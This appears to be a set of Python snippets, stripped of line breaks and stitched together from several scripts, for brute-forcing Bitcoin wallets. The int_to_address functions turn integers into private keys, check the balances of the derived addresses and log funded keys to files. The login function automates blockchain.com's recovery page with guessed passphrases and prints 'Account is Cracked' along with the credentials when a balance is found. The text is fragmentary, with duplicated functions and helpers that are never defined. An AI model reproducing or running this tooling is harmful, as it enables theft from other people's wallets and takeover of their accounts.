def balance(addr): try: total = blockcypher.get_total_balance(addr) print('Balance is ' + str(total)) except: total = AddressBalance().action('btc', addr) print('Balance is ' + str(total))
def int_to_address(number): number0 = number >> 192 number1 = (number >> 128) & 0xffffffffffffffff number2 = (number >> 64) & 0xffffffffffffffff number3 = number & 0xffffffffffffffff private_key = hexlify(PACKER.pack(number0, number1, number2, number3)).decode("utf-8") #print(private_key) #last digit is at a hexadecimal format , #64 zeroes #print('Converting from: ' + str(int(private_key, 16))) compressed_key = base58_check_encode(b'\x80', unhexlify(private_key), True) #print('Private key: ' + compressed_key) # address x, y = str(g * int(private_key, 16)).split() len1 = len(x) len2 = len(y) if len1 != 64: z = 64 - len1 x = '0' * z + x if len2 != 64: z = 64 - len2 y = '0' * z + y compressed_public_key_with_out_prefix = x + y pk_prefix = '02' if not int(compressed_public_key_with_out_prefix[64:], 16) % 2 == 0: pk_prefix = '03' #print(str(compressed_public_key_with_out_prefix[:64])) compressed_public_key = pk_prefix + compressed_public_key_with_out_prefix[: 64] #print('Public key: ' + compressed_public_key) #print('Bitcoin address: ' + pub_key_to_addr(compressed_public_key)) try: total = blockcypher.get_total_balance( pub_key_to_addr(compressed_public_key)) print(str(total)) except: total = AddressBalance().action('btc', pub_key_to_addr(compressed_public_key)) print(str(total)) if 0 < total: print(pub_key_to_addr(compressed_public_key) + " : " + str(total)) with open('btc.txt', "a") as m: m.write( 'Converting from: ' + str(int(private_key, 16)) + '\nPrivate key: ' + compressed_key + '\nPublic key: ' + compressed_public_key + '\nBitcoin address: ' + pub_key_to_addr(compressed_public_key) + '\nBitcoin Balance: ' + total + '\n#####################################################################\n\n\n\n' ) else: pass
def login(): # Please change the sleeping times, if your internet speed is high otherwise you it will waste your time, my internet #connection is really slow that's why i add some more sleep time. PWD = password() PP = passphrasegen() EMAIL = emailm() options = webdriver.ChromeOptions() options.binary_location = "E:/C/Cx86/Google/Chrome/Application/chrome.exe" options.add_experimental_option("detach", True) chrome_driver_binary = "chromedriver.exe" #global driver driver = webdriver.Chrome(chrome_driver_binary, chrome_options=options) driver.get("https://login.blockchain.com/en/#/recover") time.sleep(5) elem = driver.find_element_by_name("mnemonic") elem.send_keys(PP) elem = driver.find_element_by_css_selector(".sc-bdVaJa.iOqSrY").click() elem = driver.find_element_by_name("email") elem.send_keys(EMAIL) elem = driver.find_element_by_name("password") elem.send_keys(PWD) elem = driver.find_element_by_name("confirmationPassword") elem.send_keys(PWD) elem = driver.find_element_by_css_selector(".sc-bdVaJa.iOqSrY").click() time.sleep(40) elem = driver.find_element_by_css_selector(".sc-bdVaJa.RwQbC").click() time.sleep(10) elem = driver.find_element_by_xpath("//span[text()='Request']").click() elem = driver.find_element_by_css_selector('.sc-htpNat.gHBYSC').click() address = pyperclip.paste() #Checking the Balance try: total = blockcypher.get_total_balance(address) except: total = AddressBalance().action('btc', address) if 0 < total: os.system(r'cls') print(" [+] Account is Cracked [+]\n\n") print("Address : " + address) print("Address Balance : " + str(total)) print("Passphrase : " + PP) print("Email : " + EMAIL) print("Password : " + PWD) else: driver.close()
def get_balance(self, getter=None): return (getter or AddressBalance()).get_balance(self.crypto, self.address)
def getBalance(address): return AddressBalance().action('btc', address)
def int_to_address(number): number0 = number >> 192 number1 = (number >> 128) & 0xffffffffffffffff number2 = (number >> 64) & 0xffffffffffffffff number3 = number & 0xffffffffffffffff private_key = hexlify(PACKER.pack(number0, number1, number2, number3)).decode("utf-8") ############################################### print('Converting from: ' + str(int(private_key, 16))) ############################################### compressed_key = base58_check_encode(b'\x80', unhexlify(private_key), True) ############################################### print('Private key : ' + compressed_key) ############################################### # address x, y = str(g * int(private_key, 16)).split() len1 = len(x) len2 = len(y) if len1 != 64: z = 64 - len1 x = '0' * z + x if len2 != 64: z = 64 - len2 y = '0' * z + y compressed_public_key_with_out_prefix = x + y pk_prefix = '02' if not int(compressed_public_key_with_out_prefix[64:], 16) % 2 == 0: pk_prefix = '03' compressed_public_key = pk_prefix + compressed_public_key_with_out_prefix[: 64] ############################################### print('Public key : ' + compressed_public_key) ############################################### ############################################### print('Bitcoin address: ' + pub_key_to_addr(compressed_public_key)) try: total = blockcypher.get_total_balance( pub_key_to_addr(compressed_public_key)) except: total = AddressBalance().action('btc', pub_key_to_addr(compressed_public_key)) total_fiat = satoshi.to_fiat(int(total)) #r = requests.get("https://blockchain.infor/rawaddr/{}".format(pub_key_to_addr(compressed_public_key))) tr = Request('https://blockchain.info/q/getreceivedbyaddress/' + pub_key_to_addr(compressed_public_key)) total_received = str(urlopen(tr).read()) trr = total_received[2:][:-1] total_fiat_received = satoshi.to_fiat(int(trr)) ts = Request("https://blockchain.info/q/getsentbyaddress/" + pub_key_to_addr(compressed_public_key)) total_sent = str(urlopen(ts).read()) tsr = total_sent[2:][:-1] total_fiat_sent = satoshi.to_fiat(int(tsr)) #print('$'+str(s)) print("Total Sent : " + str(tsr) + " || $" + str(total_fiat_sent)) print("Total Received : " + str(trr) + " || $" + str(total_fiat_received)) print("Final Balance : " + str(total) + " || $" + str(total_fiat) + '\n') #stotal = blockcypher.from_satoshis(total, 'btc') with open('walletb.txt', "a") as f: f.write( 'Converting from: ' + str(int(private_key, 16)) + '\nPrivate key: ' + compressed_key + '\nPublic key: ' + compressed_public_key + '\nBitcoin address: ' + pub_key_to_addr(compressed_public_key) + '\nFianl Balance: ' + str(total) + "\nTotal Received : " + str(trr) + " || $" + str(total_fiat_received) + "\nTotal Sent : " + str(tsr) + " || $" + str(total_fiat_sent) + '\n#####################################################################\n\n\n\n' ) if 0 < total: print(pub_key_to_addr(compressed_public_key) + " : " + total) with open('wallet_with_money.txt', "a") as m: m.write( 'Converting from: ' + str(int(private_key, 16)) + '\nPrivate key: ' + compressed_key + '\nPublic key: ' + compressed_public_key + '\nBitcoin address: ' + pub_key_to_addr(compressed_public_key) + '\nBitcoin Balance: ' + str(total) + '\n#####################################################################\n\n\n\n' ) else: pass